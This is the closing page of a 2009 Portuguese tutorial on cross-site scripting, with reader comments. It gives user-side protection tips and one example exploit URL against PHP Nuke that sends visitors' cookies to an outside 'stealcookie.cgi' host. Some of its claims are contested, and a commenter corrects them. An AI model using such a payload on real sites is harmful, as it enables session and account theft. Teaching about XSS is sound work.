XSS - Cross Site Scripting

Ataques XSS estão se tornando um grande problema e piorarão ainda mais se as pessoas não tomarem conhecimento desse tipo de ataque e suas vulnerabilidades.

[ Hits: 82.998 ]

Por: Luiz Vieira em 02/04/2009 | Blog: http://hackproofing.blogspot.com/


Como posso proteger-me contra ataques XSS



Resumidamente, não há meios de proteger-se contra ataques XSS, pois são ataques que ocorrem devido a vulnerabilidades de aplicações web que o host está executando. Um dos mitos sobre XSS é que SSL pode protegê-lo de um ataque XSS, o que não é verdade. Entretanto, frequentemente vemos pessoas dizendo que um site pode ser vulnerável a XSS pelo fato do mesmo não suportar SSL, apenas porque a conexão ocorre em um ambiente seguro, tanto quanto encriptação de dados não significa nada para um atacante que explora vulnerabilidades a XSS, pois ainda assim, o código que o atacante está manipulando ainda é executado.

A melhor forma de proteger-se de ataques XSS é tomar cuidado com links que são enviados por e-mail ou postados em fóruns (ou algo do tipo) que você acesse. Se a URL possui código Hex em seu conteúdo, isso pode ser sinal de um ataque XSS. Não é habitual que uma URL normal contenha código Hex, entretanto os atacantes nem sempre codificam javascript ou outros códigos em formato hex. Uma URL que explora vulnerabilidades pode parecer como a se segue:

http://phpnuke.org/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=02&ttitle=[http://site.org/stealcookie.cgi?'+document.cookie]

A URL acima é para explorar uma vulnerabilidade XSS na aplicação PHP Nuke, que é um software muito popular utilizado em muitos sites. Essa URL envia os cookies de usuários para http://site.org/stealcookie.cgi.

Pode ajudar se você configurar as opções de segurança do Internet Explorer para high (alta) ou desabilitar Javascript, Java, Flash, VBScript e ActiveX, embora isso possa atrapalhar o funcionamento do seu browser, e pode possivelmente preveni-lo de acessar alguns sites que contenham vulnerabilidades XSS. Entretanto, se seu browser possuir algumas linguagens como Javascript desabilitadas, é bem mais difícil para um atacante executar códigos maliciosos em seu browser.

Conclusão

Quando as pessoas acordarão e se darão conta de quão perigoso um ataque XSS pode ser? Ataques XSS são passíveis de serem descobertos em praticamente todas as aplicações baseadas na web, incluindo phpBB, Invision Power Board e PHPNuke.

Se as pessoas não tornarem-se conscientes dos ataques XSS, os atacante continuarão a explorar essas vulnerabilidades e isso pode levar a ataques poderosos e perigosos. É até mesmo possível que scammers escolham começar a usar ataques XSS ao invés do tradicional Phishing.

O fato é que as pessoas não prestam atenção às vulnerabilidades de XSS, e isso pode tornar-se muito perigoso. Com o tempo, talvez, isso mude e ataques desse tipo tornem-se mais raros.

Referências


Página anterior    

Páginas do artigo
   1. Introdução
   2. Encontrando vulnerabilidade XSS
   3. Básico do XSS
   4. Exemplos de exploits e vulnerabilidades XSS
   5. Como posso proteger-me contra ataques XSS
Outros artigos deste autor

Segurança da Informação no Brasil, qual é nossa realidade?

Resenha do livro: Praticando a Segurança da Informação

Boot Linux - o que acontece quando ligamos o computador

Vulnerabilidade em mais de 6 milhões de sites com flash

SELinux - Security Enhanced Linux

Leitura recomendada

ExtJS: Um excelente framework de JavaScript

Como minimizar CSS e Javascript via linha de comando

Web sites dinâmicos com Ajax + JSP + MySQL

Jakarta JMeter - Testando o desempenho de seus sites

MathML - Mathematical Markup Language

  
Comentários
[1] Comentário enviado por demoncyber em 02/04/2009 - 11:26h

Excelente artigo!

Muito interessante a abordagem aprofundada do assunto não aquilo que habitualmente se encontra na net de um a três paragrafos falando o que é e nem explicando como funcinoa..

Parabéns


[2] Comentário enviado por M.Bittencourt em 02/04/2009 - 11:46h

Parabéns pelo artigo.

[3] Comentário enviado por dastyler em 02/04/2009 - 14:30h

artigo muito bom.
A ultima vez que li a respeito de documentação sobre XSS foi um artigo na Linux Magazine.
Parabens!

[]´s

[4] Comentário enviado por Douglas_Martins em 02/04/2009 - 17:56h

Muito bom mesmo.

Parabéns pelo artigo. Muito bem explicado e de forma direta no assunto.

[]'s

[5] Comentário enviado por gersonraymond em 03/04/2009 - 07:15h

Parabéns !!!

Artigo muito bem explicado, show de bola !!!

Um abraço.

[6] Comentário enviado por cassimirinho em 04/04/2009 - 13:24h

Bom, muito bom.

[7] Comentário enviado por psychokill3r em 06/04/2009 - 23:52h

concordo que é muito bom esse artigo ,até o coloquei nos favoritos (me deve 100 pontos) to brincando.

mais não vi soluções para administradores de sites , ou seja não usar php nuke ou Invision Power Board esta fora de questão.

se alguem quiser brincar um pouco com xss baixe a extensão para firefox "xss me" que faz vários testes no site q você quiser .

e para não se dar mal em algum site que já foi injetado códigos você deve ter a extensão "script block".
mandar o firefox limpar cokkies e histórico ao sair sem perguntar também é uma boa ideia.

valeuw
obrigado ao autor e espero mais artigos do tipo.

xss-me
sql inject-me
access-me

exemplo de ataque dessa vez ao twitter
http://pcmag.uol.com.br/conteudo.php?id=1355

[8] Comentário enviado por wagner.elias em 22/04/2009 - 11:53h

Parabéns por compartilhar conteúdo, mas permita-me esclarecer alguns pontos onde você se equivocou.

1 - No início você trata XSS (Cross Site Scripting) como CSRF (Cross Site Request Forgery). Uma coisa é um XSS que irá executar código javascript no cliente (XSS é um ataque client-side), outra coisa é o CSRF que tem o XSS como vetor e consiste em executar ações baseado nas credenciais do usuário que está sendo explorado;

2 - Outro equívoco grande foi referente aos tipos de XSS, existem 3 tipos de XSS:

a) Refletido - Quando o XSS é executado, explorado quando o usuário abre uma URL, página que contém um script injetado;
b) Armazenado - Quando o atacante consegue inserir um XSS na aplicação e ele irá ser armazenado na base dados, quando o usuário chamar a página;
c) DOM Based - É o XSS que explora objetos DOM (Document Object Model).

Quanto o tratamento, basicamente o XSS explora inputs que não são adequadamente validados, portanto para mitigar é necessário tratar os dados que você recebe em cada input. Mais detalhes podem ser vistos aqui: http://www.owasp.org/index.php/Cross_site_scripting

Quem quiser trocar informação sobre o tema segurança em aplicações web, estou a disposição. Uma excelente fonte de informação é o site da OWASP (Open Web Application Security Project - http://www.owasp.org), quem quiser conhecer o capítulo brasileiro, só entrar em contato e/ou assinar a lista de discussão: http://www.owasp.org/index.php/Brazilian

Abs.

[9] Comentário enviado por luizvieira em 22/04/2009 - 12:44h

Olá Wagner, preferi não abordar o CSRF, apenas coloquei algumas funcionalidades que o XSS possui semelhantes ao CSRF (apesar do CSRF ser mais amplo e permitir uma gama maior de execuções maliciosas além de outras possibilidades ).

Quanto as classificações, realmente equivoquei-me ao explicá-las. Expliquei o primeiro tipo, "refletido", porém sem utilizar a terminologia que vc utiliza, assim como o segundo tipo. Quanto ao terceiro tipo, é justo aí que o equívoco encontra-se, obrigado por esclarecer esse aspecto :-)

Utilizo a metodologia OWASP quando faço análise de vulnrabildiades em aplicações WEB, pois considero-a de todas as metodologias, a mais eficiente e bem organizada. Para um pen testing, na parte WEB é justamente essa que utilizo. Obrigado pelo convite à todos, para participar da lista de discussão!

[ ]'s

[10] Comentário enviado por fabio1049 em 17/06/2009 - 15:39h

Muito bom artigo, parabéns.
Eu ainda fiquei na dúvida sobre procedimentos para evitar o ataque no servidor remoto. Sou administrador de um site que vem sofrendo esse tipo de ataque. De uma hora para outra o arquivo index é alterado, é colocado um javascript malicioso ou um iframe com um link desconhecido. Eu não consigo identificar onde está a vulnerabilidade, já que essa pagina é um html com apenas um swf no conteúdo.

[11] Comentário enviado por luizvieira em 22/06/2009 - 16:01h

Olá Fábio,
O ideal é levantar algumas questões acerca do site que administra e o servidor onde stá hospedado:
- O site é html puro ou baseado em alguma linguagem dinâmica? Se é a segunda opção, utiliza algum CMS? Se sim, há vulnerabilidades que ainda não corrigiu com atualizações?
- Se baseado em linguagem dinâmica e BD no servidor, há um tratamento adequado contra SQL injection? Muitas vezes javascripts maliciosos entram nos conteúdos via SQL Injection...
- Há algum script ou arquivo estranho no seu servidor ftp? Muitas vezes alguém implanta um script que dá acesso ao servidor FTP (muita gente ainda salva o arquivo com o nome de C99.algumacoisa, mas isso não é regra). Faça uma limpeza no seu FTp pra ver se tem algo estranho, que vc não tenha criado, ou simplesmente não vá mais utilizar e remova.
- Qual o nível de segurança e a preocupação com o assunto do servidor onde seu site está hospedado? Alguns não ligam muito pra isso, mas depois do ataque isso faz uma difereeeeeennnnnnça....rs.

Essas já são algumas questões que precisa responder pra diminuir os riscos de ataques. Há outras, obviamente, mas essas já são o início.
[ ]'s

[12] Comentário enviado por ricardolongatto em 10/01/2012 - 23:53h

execelente
abraço luiz


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts